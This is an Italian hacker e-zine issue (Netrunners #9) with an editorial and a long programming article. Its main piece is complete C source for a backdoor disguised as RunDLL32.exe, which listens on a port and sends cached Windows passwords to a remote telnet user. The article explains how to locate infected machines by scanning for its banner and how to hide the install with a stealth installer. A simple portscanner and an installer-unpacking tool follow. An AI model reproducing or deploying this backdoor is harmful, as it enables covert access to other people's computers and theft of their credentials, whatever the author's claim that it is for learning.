NR #9 - OoCities

Transcript

NR #9 - OoCities
______
/
___/
/
\|___ \
/____
netrun9.txt
__ __________
_____/ |\______
\__ __
_______
\
\
>
|
\_/ __ \
|
\
\____|__
\/(r)
___/|
/\___
\/
__\
| |
_/
|
\/
\
|
/
|
>__| |____|_
\/
____
____
\ /
|
\
/____/|___|
\/
___________
\_/ __ \_
|
\
/___|
\/
___/|
/\___
\/
__ /
|
>__|
\/
4 0 4
-------------------------------------------------------------------------FrOm Spp to tHe NeT
NumEro NoVe
-------------------------------------------------------------------------Sommario:
--------Editoriale
----------
By Flamer
Anche la programmazione
ha il suo sgurtz
-----------------------
By Master
mIRC 5.51 - Prima Parte
-----------------------
By Darkman
Inetmib1.dll FAQ
---------------------
By Devil
Le RFC demistificate
--------------------
By Buttha
================================================================================
===========
Editoriale
---------by Flamer
---------Bene bene bene... eccoci arrivati al numero 9.
Purtroppo (come avrete notato, immagino) ci sono stati un po' di casini durante
questa
estate... Il numero 8 di netrunners ha creato non pochi problemi, e farlo uscire
e' stata
una cosa molto lunga e complicata.
A proposito... Se qualcuno di voi lo avesse scaricato prima del 5 di ottobre (e
deve averlo
fatto dalla versione beta del nostro sito, quella preparata con molta cura da
erGoline)
sappiate che l'articolo di Buttha e' stato malauguratamente tagliato, e solo
dopo quella
data e' stata messa online la versione definitiva di Netrunners 8, quindi vi
consiglio di
andare a riscaricarvelo. Faccio tutte le mie scuse a Buttha per questo
inconveniente.
Altra novita' sta nel fatto che Brigante, che si occupava assieme a me di
mettere insieme
questa rivista, e' fuori dai giochi per un po', quindi se volete mandare
Pagina 1
netrun9.txt
articoli,
lamentele o insulti vari per un po' di tempo potrete farlo solo alla mia mail
([email protected]).
Ma diamo un'occhiata a questo numero 9... Avrete notato che ci sono pochi
articoli, ma
avrete anche notato che le dimensioni della rivista non sono certo ridotte.
Questo perche'
quasi tutto questo numero e' dedicato a Master, ed al suo interessantissimo (e
voluminoso :-) ) articolo sulla programmazione.
Poi, come promesso nel numero precedente, abbiamo pubblicato l'articolo "fisso"
sul mIRC.
Veramente molto interessanti sono le FAQ di Devil sulla sua mitica DLL che tutti
dovrebbero
conoscere, ovvero la INETMIB1.dll.
Infine, ultimo ma non per questo meno importante, Buttha chiarisce un po' di
dubbi riguardo
alle RFC. La lettura di questo articolo e' consigliata a tutti quei newbies che,
dopo aver
chiesto da dove iniziare, e dopo che gli hanno risposto con questa strana sigla
non ne
hanno ben capito il significato.
Be'... questo e' tutto.
Come...? Cosa dite?... A quando il numero 10??? BOH!!! :-))
-SPP MeMbeR-=F14m3r=-(r)
-SPP MeMbeR================================================================================
===========
-= Master =SPP - Member
www.spippolatori.com
ANCHE LA PROGRAMMAZIONE HA IL SUO SGURTZ.
Ma cos'e' sta roba???
...
Stavolta invece del solito articolo tecnico ho voluto fare una specie di
raccolta di
tutte le -richieste- interessanti che mi son state fatte negli ultimi mesi sul
ng
alt.hackers.cough.cough.cough e che hanno portato alla stesura di un tool in c
o in
visual basic.
Alcune delle cose presentate sotto non hanno a prima vista una diretta
attinenza con
l'hacking ma io ritengo che non sia cosi:
sia nel caso in cui si consideri l'hacking come lo sviluppo a 360 gradi delle
capacita'
individuali sia nel caso lo si consideri come la capacita' di risolvere nuovi
problemi
la dove essi ci si presentino davanti in ogni caso l'attinenza c'e'! ;-)
Se non riuscite a vederla.. beh .. pazienza. Spero comunque che qualcuno di
questi
tools possa tornarvi utile per risolvere qualche problema o che perlomeno vi
sia di
stimolo per imparare qualcosa di nuovo.
Pagina 2
netrun9.txt
Sono al 90% piccoli programmi in c standard (alcuni in vb) facili da capire e
soprattutto
(nello stile che [almeno spero] mi contraddistingue) sono brani di codice
veramente minimi.
.............................................................................
<PREMESSA>
tutti i programmi spiegati e dettagliati qui di seguito sono scaricabili
dalla url
www.spippolatori.com/memberspp/master/archivio.ace
(400k ca.)
.. per chi non dovesse essere ancora in possesso del miglior compressore
esistente sulla piazza .. e necessario soprattutto alla scompattazione
di archivio.ace
www.spippolatori.com/memberspp/master/ace32.exe
(180k ca.)
ovviamente in versione registrata ;-)
per scompattare i file:
//-----------------------------------------------ACE32 x archivio.ace
//-----------------------------------------------per comprimere un gruppo di file (directory comprese) al livello massimo di
compressione
(
decisamente migliore anche rispetto a
* ->
[ tar -cvf archivio.tar * ]
|
[ gzip -9 archivio.tar ] -> archivio.tar.gz
)
//-----------------------------------------------ACE32 a -m5 -d1024 -r nome_archivio.ace *.*
//-----------------------------------------------per creare un file autoestraente invece
//-----------------------------------------------ACE32 a -m5 -d1024 -r -sfx nome_archivio.ace *.*
//-----------------------------------------------per avere un file con l'help dei comandi
//-----------------------------------------------ACE32 -? > help.txt
//-----------------------------------------------.. da provare assolutamente.. di meglio non c'e'! (UC2 compreso)
</PREMESSA>
.............................................................................
Sezione varie:
1. Modello di classic backdoor in c
2. Disinstaller per lo SI2
3. Completo portscan in C con 7 righe di codice sorgente
4. Variabili c a 1 bit.
5. Generazione evoluta di numeri random
6. Come postare una mail anonima col C
7. Sistema per la valutazione di funzioni matematiche composte
Pagina 3
netrun9.txt
in c con precompilazione in altro linguaggio completamente nascosta.
8. Ladrone, come grabbare una applicazione esterna in un proprio programma con
MDIChild
9. Find file ultrarapido (e applicazione d'esempio)
10. Intercettare chiamate Api sostituendo alle stesse procedure diverse.
11. Time server in c, come linkarsi ad un orologio atomico.
12. Tool per il post cracking rapido.
13. Emulatore di funzioni basic per la gestione delle stringhe in c
14. Togliere i rem da un sorgente vb
15. Creare stereogrammi 3d con poghe righe di c
16. Installare di nascosto nel win.ini un proprio programma per l'autorun
17. automatismo software in c per l'Input/output tramite la porta parallela
Sezione -giochi di parole-:
18. Creare un dizionario da un file di testo
19. Permutazioni
20. Parole composte
21. Cifrature / riduzioni di testo da vocabolari bilanciati / firma
caratteristica
22. Anagrammi / contrari / parole palindromiche
23. Aiuta Riddle. ;-)
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------1 Modello di classic backdoor in c:
//-------------------------------------------------------------------------------------------------Il programma e' di semplice utilizzo:
Chiamando:
RunDLL32 <porta>
sel server remoto desiderato si aprira' una shell alla quale sara' possibile
accedere successivamente tramite telnet.
TELNET <IP-server-remoto> <porta>
Per trovare l'ip nel caso si sia installata la backdoor su un server a
indirizzo dinamico
sara' sufficiente fare un portscan sulla porta settata.
Il reply sara' la frase "Sono pronto:".
..qualunque portscan andra' bene.
E' possibile il collegamento in contemporanea di 10 utenti. (aumentabili a
piacere)
L'unico comando a disposizione (oltre al "quit" per sconnettersi) e' "password"
(tutto in minuscolo) .. da qui il sottotitolo -Classic- ;-)
(Una volta non c'erano tanti fronzoli .. si tirava a far ciccia. ;-) )
Eseguendo il comando password su telnet si avra' la lista completa ed in chiaro
delle
password salvate nella chace esattamente come fa (solo in locale) Dripper
(il tool specifico del progetto Aggressor)
Le password segnate con Rna saranno le password delle connessioni e si
Pagina 4
presenteranno
all'incirca cosi':
1. Account
2. USER
3. PASSW
netrun9.txt
-> Cache(3)
-> *Rna\Tiscali\PIPPO
-> aEr%7399Tis
la riga uno identifica la posizione della password nella cache.
la riga due da il nome del provider utilizzato e lo USER per il login.
la riga tre e' la password di connessione vera e propria.
Le password di altro tipo, posta, gestione siti web, siti porno, ecc..
invece si presenteranno cosi':
1. Password -> Cache(2)
2. URL
-> www2.fortunecity.com/fortunecity/member
3. USER:PASS -> PIPPO:spippolini
La riga
La riga
attive
La riga
uno e' relativa ancora alla posizione nella cache.
due in questo caso rappresenta l'indirizzo del server sul quale sono
le password.
tre sono i due parametri necessari al login USER : PASSWORD.
Ps.. il programma non si installa nei servizi di autorun del registro di
configurazione
ma volendolo proprio fare un impegno di livello elementare con lo Stealth
Installer 2
potrebbe dare anche ai meno pratici risultati piu' che soddisfacenti. ;-)
Cmq lo scopo del tool e' tutt'altro almeno per quanto mi riguarda.
Vorrei che fosse inteso non come uno strumento per procurare del danno a
qualcuno
ma semplicemente come una scusa per imparare qualcosa in piu' relativamente al
linguaggio C++, sull'uso del winsock e sull'uso delle procedure non documentate
dalla Microsoft. Per questo infatti accludo anche il sorgente completo.
Io ho usato il compilatore che preferisco ..il Borland C++ 5.. ma nessuno vieta
che lo
stesso programma data la sua estrema semplciita' possa essere ricompilato con
il
Visual C o una qualunque alta variante del C++ 32bit.
Gli unici due file utili sono RunDLL32.cpp e supporto.c
... come funziona?
..e' semplicissimo (spero) :))
Intanto cominciamo con la struttura del programma in quanto tale.
E' formato da due parti.. una libreria con le procedure standard per
l'inizializzazione
del winsock, la terminazione, la conversione da ip letterale in forma canonica,
ecc..
E il programma principale.
[ Nel sorgente "originale" avevo messo tutte le cose che trovate attualmente
nel tutorial backdoor
TIVEDO (che ho poi pubblicato in VB) .. qui le ho volutamente eliminate per i
motivi sopra
elencati. ]
ho chiamato la libreria supporto.c ed e' una libreria
ricavata/aggiornata/modificata
da un insieme di procedure gia a suo tempo pubblicate su un paio di ng c++
related..
alcune procedure sono simili in tutto e per tutto alle equivalenti contenute
nel winsock.bas per visual basic.
Pagina 5
netrun9.txt
[ qui sotto ci sono solo le 3 procedure elementari che servivano al programma
mentre invece
nel file archivio.ace trovate la libreria completa. ]
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
supporto.c
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
#include <winsock2.h>
#include <process.h>
#include <time.h>
typedef unsigned int pid_t;
#define CLEAR_ADDR(addr) memset(addr,0,sizeof(struct sockaddr_in))
int sockInit(void){
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(2,0);
return WSAStartup( wVersionRequested, &wsaData ); }
int sockName(struct sockaddr_in *name,char *hostname,char *hostaddr){
struct hostent *hp;
hp = NULL;
hp=gethostbyaddr((char *) &(name->sin_addr),sizeof(name->sin_addr),AF_INET);
if(hp==NULL) return 1;
strcpy(hostname,hp->h_name);
sprintf(hostaddr,"%d.%d.%d.%d",hp->h_addr_list[0][0],hp->h_addr_list[0][1],
hp->h_addr_list[0][2],hp->h_addr_list[0][3]);
return 0; }
int sockEnd(void){
return WSACleanup();}
////////////////////////////////////////////////////////////////////////////////
/////////
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
il programma vero e proprio:
BACKDOOR
RunDLL32.exe
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
#include <stdio.h>
#include <string.h>
#include <dos.h>
#include "supporto.c"
#define Lungo 128
#define Dimens 256
#define API LoadLibrary("mpr.dll")
#define FUNC "WNetEnumCachedPasswords"
char *s1,*s2,*b1,*b2,dati[256];
int n = 0;
FILE *fp;
typedef struct tagcache {
WORD a,user,passw;
BYTE b,c,inizio[1];
} cache;
INT CALLBACK TrovaPassword(cache *BIT, DWORD);
Pagina 6
void controlla(void *sock);
void pass();
netrun9.txt
// ------------------------------ PROCEDURA INIZIALE
// -----------------------------------------------------------------WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
int argc=_argc;
char **argv=_argv;
SOCKET s;
struct hostent *hp;
struct sockaddr_in any_addr;
struct sockaddr_in remote_addr;
int addrlen;
SOCKET ss;
s=INVALID_SOCKET;
hp=NULL;
CLEAR_ADDR(&any_addr);
CLEAR_ADDR(&remote_addr);
addrlen=sizeof(struct sockaddr_in);
if(argc != 2) {
printf("Sintassi: %s porta\n",argv[0]);
return 0;}
sockInit();
any_addr.sin_family=AF_INET;
any_addr.sin_port=htons( (unsigned short) atoi(argv[1]));
any_addr.sin_addr.s_addr=htonl ( INADDR_ANY );
s = socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET) {sockEnd();return 2;}
if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in)))
{sockEnd();return 3;}
listen(s,10);
while(true){
ss=accept(s,(struct sockaddr *) &remote_addr,&addrlen);
if(_beginthread(controlla,0,(void *) &ss)==-1){
perror("_beginthread");break;}}
sockEnd();return 0;}
// -----------------------------------------------------------------// ------------------------------ CONTROLLA ED ESEGUE I COMANDI
// -----------------------------------------------------------------void controlla(void *sock){
SOCKET ss;
pid_t pid;
char msg[Dimens],remotename[128],remoteaddr[128],buffer[Lungo];
int addrlen,rec;
struct sockaddr_in remote_addr;
ss=*((SOCKET *) sock);
addrlen=sizeof(struct sockaddr_in);
pid=GetCurrentThreadId();
memset(buffer,0,Lungo);
memset(msg,0,Dimens);
sprintf(buffer,"Sono pronto:");
if(send(ss,buffer,strlen(buffer),0)<=0) return;
CLEAR_ADDR(&remote_addr);
getpeername(ss,(struct sockaddr *) &remote_addr,&addrlen);
sockName(&remote_addr,remotename,remoteaddr);
do{rec=recv(ss,buffer,Lungo,0);
if(rec<=0){printf("Ciao.\r\n");break;}
buffer[rec]=0;
strcat(msg,buffer);
if(buffer[strlen(buffer)-1]=='\n'){
send(ss,"Ricevuto: ",10,0);
send(ss,msg,strlen(msg),0);
// COMANDO: password -> per avere la lista delle cached password
if(strncmp(msg,"password",8)==0){
pass();
Pagina 7
netrun9.txt
fp=fopen("out","rb");
strcpy(dati,"\r\n");
send(ss,dati,strlen(dati),0);
while(!feof(fp)){
fgets(dati,255,fp);
strcat(dati,"\r\n");
send(ss,dati,strlen(dati),0);}
fclose(fp);
remove("out");}
// COMANDO: quit -> per uscire
if(strncmp(msg,"quit",4)==0){
strcpy(buffer,"Ciao.\r\n");
send(ss,buffer,strlen(buffer),0);break;}
memset(msg,0,Dimens);
memset(buffer,0,Lungo);}
}while(1);
closesocket(ss);}
// -----------------------------------------------------------------// ------------------------------ TROVA PASSWORD
// -----------------------------------------------------------------void pass(){
HINSTANCE k = API;
s1 = b1 = new char[1024];
s2 = b2 = new char[1024];
fp=fopen("out","wb");
fprintf(fp,"RISULTATO :\n");
fprintf(fp,"----------\n");
WORD(__stdcall *chiama)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD(__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))
GetProcAddress(k, FUNC);
(*chiama)(0,0, 0xff, TrovaPassword, 0);
if (n==0) fprintf(fp,"Non ci sono password salvate nella cache.\n");
else fprintf(fp,"Trovate %d cached password.",n);
FreeLibrary(k);
fclose(fp);}
// -----------------------------------------------------------------// ------------------------------ ENUMERA TUTTE lE PASSWORD
// -----------------------------------------------------------------INT CALLBACK TrovaPassword(cache *BIT, DWORD){
memmove(s1, BIT->inizio, BIT->user);
memmove(s2, BIT->inizio+BIT->user, BIT->passw);
s1[BIT->user] = s2[BIT->passw] = 0;
CharToOem(s1,b1);CharToOem(s2,b2);
if (strstr(s1,"Rna")){
fprintf(fp,"Account
-> Cache(%d)\n", n);
fprintf(fp,"USER
-> %-30s\n", b1);
fprintf(fp,"PASSW
-> %s\n", b2);}
else{
fprintf(fp,"Password -> Cache(%d)\n",n);
fprintf(fp,"URL
-> %-30s\n", b1);
fprintf(fp,"USER:PASS -> %s\n", b2);}
fprintf(fp,"----------\n");n++;
return(n);}
// -----------------------------------------------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
e' composto sostanzialmente da 3 moduli:
1. il server: si installa in memoria sulla porta dichiarata come parametro
iniziale grazie al listen.
Pagina 8
netrun9.txt
s = socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET) {sockEnd();return 2;}
if(bind(s,(struct sockaddr *) &any_addr, sizeof(struct sockaddr_in)))
{sockEnd();return 3;}
listen(s,10);
cambiando la riga
listen(s,10)
invece di 10.
in
listen(s,30)
ovviamente si accettano in ingresso 30 utenti
2. il motore di interpretazione delle stringhe ricevute dal client (telnet)
if(rec<=0){printf("Ciao.\r\n");break;}
buffer[rec]=0;
strcat(msg,buffer);
if(buffer[strlen(buffer)-1]=='\n'){
send(ss,"Ricevuto: ",10,0);
send(ss,msg,strlen(msg),0);
// COMANDO: password -> per avere la lista delle cached password
if(strncmp(msg,"password",8)==0){
pass();
fp=fopen("out","rb");
strcpy(dati,"\r\n");
send(ss,dati,strlen(dati),0);
while(!feof(fp)){
fgets(dati,255,fp);
strcat(dati,"\r\n");
send(ss,dati,strlen(dati),0);}
fclose(fp);
remove("out");}
// COMANDO: quit -> per uscire
if(strncmp(msg,"quit",4)==0){
strcpy(buffer,"Ciao.\r\n");
send(ss,buffer,strlen(buffer),0);break;}
Replica Ciao! al client all'atto della connessione. Questo potrebbe sembrare
solo un vezzo invece e'
una cosa importante. Una risposta canonica all'atto della connessione e'
necessaria per darci la
possibilita' di rintracciare l'utente tramite il suo ip dinamico.
Facendo infatti una scansione sulla porta da noi scelta di tutti gli ip
relativi alla classe c che vorremo controllare sapremo che la nostra backdoor
sara' installata la dove riceveremo ciao! come
risposta. (Ovviamente e' possibile cambiare ciao con qualunque altra cosa! :))
)
i due if a seguire controllano se la stringa iviata al client contiene le
parole PASSWORD o QUIT
Nel prima caso esegue la procedura per il recupero delle cached password e il
successivo invio al
client per la visualizzazione e la registrazione, nel secondo viene terminata
la connessione.
3. la procedura per il recupero delle password.
E' una cosa standard e abbastanza nota. Sfrutta la funzione
WNetEnumCachedPasswords della libreria Microsoft mpr.dll che si occupa della
decifrazione.
la api non documentata WNetEnumCachePassword una volta chiamata colloca in una
struttura definita
come
Pagina 9
typedef struct tagcache {
WORD a;
WORD user;
WORD passw;
BYTE b,
BYTE c,
BYTE inizio[1];
} cache;
netrun9.txt
recupera enumerativamente tutte le password precedentemente salvate spuntando
l'apposita casella
-salva password-.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------1 Disinstaller per lo SI2
//-------------------------------------------------------------------------------------------------Mi era stato chiesto da Nick1 .. ed eccolo qui. ;-)
Il disinstaller. Cosa fa? .. praticamente prende una installazione dello
Stealth Installer 2
(ma dovrebbe funzionare anche con la versione 1) ed estrae decrittandoli tutti
i programmi in essa contenuti senza farli partire e senza eseguire gli script.
Ovviamente scompatta anche gli script allegati ripristinando per ognuno il nome
originale.
I piu' arguti noteranno che e' un cole dello stealth installer due carente
delle funzioni di
esecuzione e di elaborazione degli script .. unica differenza e' l'interfaccia
di utilizzo che in questo
caso e' vincolata alla linea di comando.
per disinstallare una installazione pippo.exe .. bisogna chiamare
pippo.exe .. e' fa tutto da solo. ;-)
DISI2
il programma:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <conio.h>
#include <string.h>
#include <windows.h>
#include <dos.h>
#include <dir.h>
char *nfile,*kfile;
long int trovaparti=0;
long
long
void
char
int trovainizio(char indicatore,long int comincia);
int trovafinefile(void);
trovanome(char *vari,long int a,long int b);
*riduci(char *pippo);
int str1,str2;
Pagina 10
netrun9.txt
int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance,LPSTR lpCmdLine, int
nCmdShow)
{
long int seco,a=0,un,du,tr,k=1;
char *nome="
";
FILE *ricrea,*fp,*sp1,*sp2,*reg;
long int kop,j,s,inizio,fine,esegui;
int dop,tr1,nf=_argc;
char **file=_argv;
struct ffblk ffblk;
int trovato;
if(nf<=1){MessageBox(NULL,"sintassi: DISI2
installazione.exe","ERRORE:",16);exit(0);}
if(vedi(file[1])<0){MessageBox(NULL,"FILE NON TROVATO!","ERRORE:",16);exit(0);}
nfile=file[1];
un=a;
su:
a=trovainizio('I',un+1);un=a;
a=trovainizio('F',un+1);du=a;
trovanome(nome,un+4,du);
a=trovainizio('I',un+1);tr=a;
}
if(strlen(nome)>0)
{
/* printf(" Programma %ld <%s> Da=%ld A=%ld\n",k,nome,du+4,tr-1); */
inizio=du+4;
fine=tr-1;
ricrea=fopen(riduci(nome),"wb");
fp=fopen(nfile,"rb");
fseek(fp,inizio,0);
srand(666);
for(s=inizio;s<fine;s++)
{
fputc((fgetc(fp)-rand()%256)%256,ricrea);
}
fclose(fp);
fclose(ricrea);
k++;
goto su;
}
MessageBox(NULL,"Disinstallazione completata","Finito.",64);
long int trovainizio(char indicatore,long int comincia)
{
FILE *fp;
char a;
long int pos;
fp=fopen(nfile,"rb");
pos=comincia;
fseek(fp,pos,0);
while(!feof(fp))
{
a=fgetc(fp);pos++;
if(a=='#')
{
a=fgetc(fp);pos++;
if(a==indicatore)
{
a=fgetc(fp);pos++;
if(a=='-')
{
a=fgetc(fp);pos++;
if(a=='[')
{
Pagina 11
netrun9.txt
fclose(fp);
return(pos-4);
} else {pos=pos-3;fseek(fp,pos,0);}
} else {pos=pos-2;fseek(fp,pos,0);}
} else {pos=pos-1;fseek(fp,pos,0);}
}
}
}
fclose(fp);
return(trovafinefile());
void trovanome(char *vari,long int awe,long int bwe)
{
FILE *fp;
fp=fopen(nfile,"rb");
fseek(fp,awe,0);
fgets(vari,bwe-awe+1,fp);
}
long int trovafinefile(void)
{
FILE *fp;
long int pos=0;
char a;
fp=fopen(nfile,"rb");
while(!feof(fp))
{
a=fgetc(fp);
pos++;
}
fclose(fp);
return(pos-1);
}
char *riduci(char *pippo)
{
int j;
char *passa;
if(pippo[0]=='+')
{
for(j=1;j<=strlen(pippo);j++)
passa[j-1]=pippo[j];
trovaparti++;
kfile=passa;
return(passa);
} else return(pippo);
}
int vedi(char *prog)
{
struct ffblk ffblk;
int ok;
ok = findfirst(riduci(prog),&ffblk,0);
if(ok>=0)return 1;
else return -1;
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
Pagina 12
netrun9.txt
. - .
//-------------------------------------------------------------------------------------------------3. Completo portscan in C con 10 righe di codice
//-------------------------------------------------------------------------------------------------Portscan. Azz com'e' difficile fare un portscan!! .. chissa' che abilita'
programmatoria serve!?
..he he .. e invece no! .. e' come fare un telnet, forse e' uno dei programmi
piu' semplici in
assoluto.
come funziona?
cosi' : si apre un socket, si cerca di connettersi alla porta x di un ip
remoto, se non ci si
riesce (ovvero se il connect del winsock da errore) la porta non e' aperta,
viceversa e' un
servizio attivo e quindi si stampa a video il valore x.
(Si potrebbe anche tentare di ricevere dei dati col receive per avere gli head
notes del servizio
volendo )
Creandosi un ciclo per x dalla porta a alla porta b prendendo cura di chiudere
il socket aperto
prima della connessione sia nel caso questa abbia esito positivo sia nel caso
abbia esito contrario
avremo fatto il nostro portscan.
la procedura per il portscan e' tutta qui:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
int ScanPort(char *ip, int inizio, int fine) {
struct sockaddr_in dati;
int sock,n;
unsigned long uin;
printf("Eseguo la scansione delle porte.\n");
for (n=inizio;n<=fine;++n) {
if (!(sock = socket(AF_INET, SOCK_STREAM, 0))){
printf("Errore: Impossibile connettersi.\n");return -1;}
dati.sin_family = AF_INET;
dati.sin_addr.s_addr = inet_addr(ip);
dati.sin_port = htons(n);
if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1)
printf("%s : %d\n",ip,n);
closesocket(sock);
}
printf("\n");return -1;}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
ovviamente trattandosi di windows e' necessario prima inizializzare il winsock.
un esempio di portscan semplice e funzionante relativo all'uso della procedura
sopra riportata potrebbe essere questo
Portscan:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
#include <stdio.h>
#include <winsock2.h>
int ScanPort(char *ip, int inizio, int fine) {
Pagina 13
netrun9.txt
struct sockaddr_in dati;
int sock,n;
unsigned long uin;
printf("Eseguo la scansione delle porte.\n");
for (n=inizio;n<=fine;++n) {
if (!(sock = socket(AF_INET, SOCK_STREAM, 0))){
printf("Errore: Impossibile connettersi.\n");return -1;}
dati.sin_family = AF_INET;
dati.sin_addr.s_addr = inet_addr(ip);
dati.sin_port = htons(n);
if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1)
printf("%s : %d\n",ip,n);
closesocket(sock);
}
printf("\n");return -1;}
//------------------------------------------------------------------------------void main(int argc, char *argv[]) {
struct sockaddr_in sin;
int sock,x,y,Port;
unsigned long uin;
long upf;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested=MAKEWORD(2,0);
y=WSAStartup(wVersionRequested,&wsaData);
printf("%d",y);
Port=ScanPort(argv[1],atoi(argv[2]),atoi(argv[3]));
WSACleanup();
exit(0);
}
//------------------------------------------------------------------------------::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::
facile no!? ;-)
gli unici parametri da settare nella procedura sono
porscan ( IP-DI-PARTENZA , porta iniziale , porta finale )
..il programma in effetti sarebbe solo questo:
for(n=inizio;n<=fine;++n){
dati.sin_family = AF_INET;
dati.sin_addr.s_addr = inet_addr(ip);
dati.sin_port = htons(n);
if(connect(sock, (struct sockaddr*)&dati,sizeof(dati))!=-1)
printf("%s : %d\n",ip,n);
closesocket(sock);}
(e sono le famose 7 righe essenziali) ;-)
come detto sopra, col for si esegue il ciclo per la verifica delle porte
da quella iniziale (inizio) a quella finale (fine).
Di seguito la procedura apre un socket e cerca di connettersi ad una porta
n (variabile ciclica del for).
Se ci riesce stampa n e/o in caso contrario chiude il socket e ne apre un altro
per la porta successiva.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Pagina 14
netrun9.txt
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------4. Variabili c a 1 bit.
//-------------------------------------------------------------------------------------------------Richiesto da hal9000 su alt.hackers
>ma e' facile!! .. il c ha le variabile boolean che sono..
beh ..mica vero! .. sono tutte variabili a un byte minimo. Non esiste un
linguaggio di
programmazione con variabili ad un bit.
Il minimo e' sempre un byte (8 bit).
Char == unsigned char == byte (pascal) == boolean == bool == 1 BYTE! ..8 bit.
>e allora come si fa ad ottenere uan variabile a 1 bit col C.. non mi dire che
e' impossibile!
non e' impossibile! ;-)
Il tutto sta ad usare un byte come vettore di bit piuttosto che come recipiente
per una
variabile di tipo predefinito.
facciamo un esempio pratico:
devo memorizzare otto stati di altrettanti interruttori elettronici:
0 == acceso, 1 == spento (tanto per essere originale! ;-))
nel byte ogni bit sara' lo stato di un interruttore
00000001 = solo l'interruttore 1 spento
11000001 = spenti gli interruttori 8,7 e 1
ecc..
il c ha delle eccellenti funzioni per la verifica e il settaggio bit per bit di
un byte:
le funzioni logiche bitwise, lo shift register, il logic and operator, ecc..
ma lo shift ofre le migliori prospettive sia per la sua velocita' che per la
flessibilita'
di utlizzo infatti cosi' come in logica tramite la negazione ed una qualsiasi
altra operazione
e' possibile replicare tutte le altre cosi' nelle operazioni logiche su i bit
tramite il semplice
utilizzo dello shift register e' possible -emulare- qualsiasi altro tipo di
operazione.
un esempio ancora piu' pratico.
Abbiamo sullo schermo una immagine in risoluzione 100x100 (e' solo per fare un
esempio)
in b/w nonostante la risoluzione in colori decisamente piu alta.
Normalmente la dimensione della memoria occupata dal nostro schermo sara',
senza considerare
compressioni di sorta, di:
100x100x16
con risoluzione a
byte si memorizzano 2
di 16 colori)
100x100x256
byte si memorizza 1 gruppo
16 colori =
20kbit/c =
5kb
(in un
gruppi
256
=
2.56Mbit/c = 10kb
(in un
di 256
colori)
Pagina 15
netrun9.txt
65536
100x100x65536
2 bytes per memorizzare
ecc..
= 655.45Mbit/c = 20kb
(servono
65536 colori)
potendo memorizzare in un byte gli stati di 8 pixel dello schermo ridurremmo la
dimensione della
memoria occupata a soli
100x100/8
bit)
=
1.25kb (un colore b/w per
.. e' piu' evidente il guadagno con uno schermo di 640x480
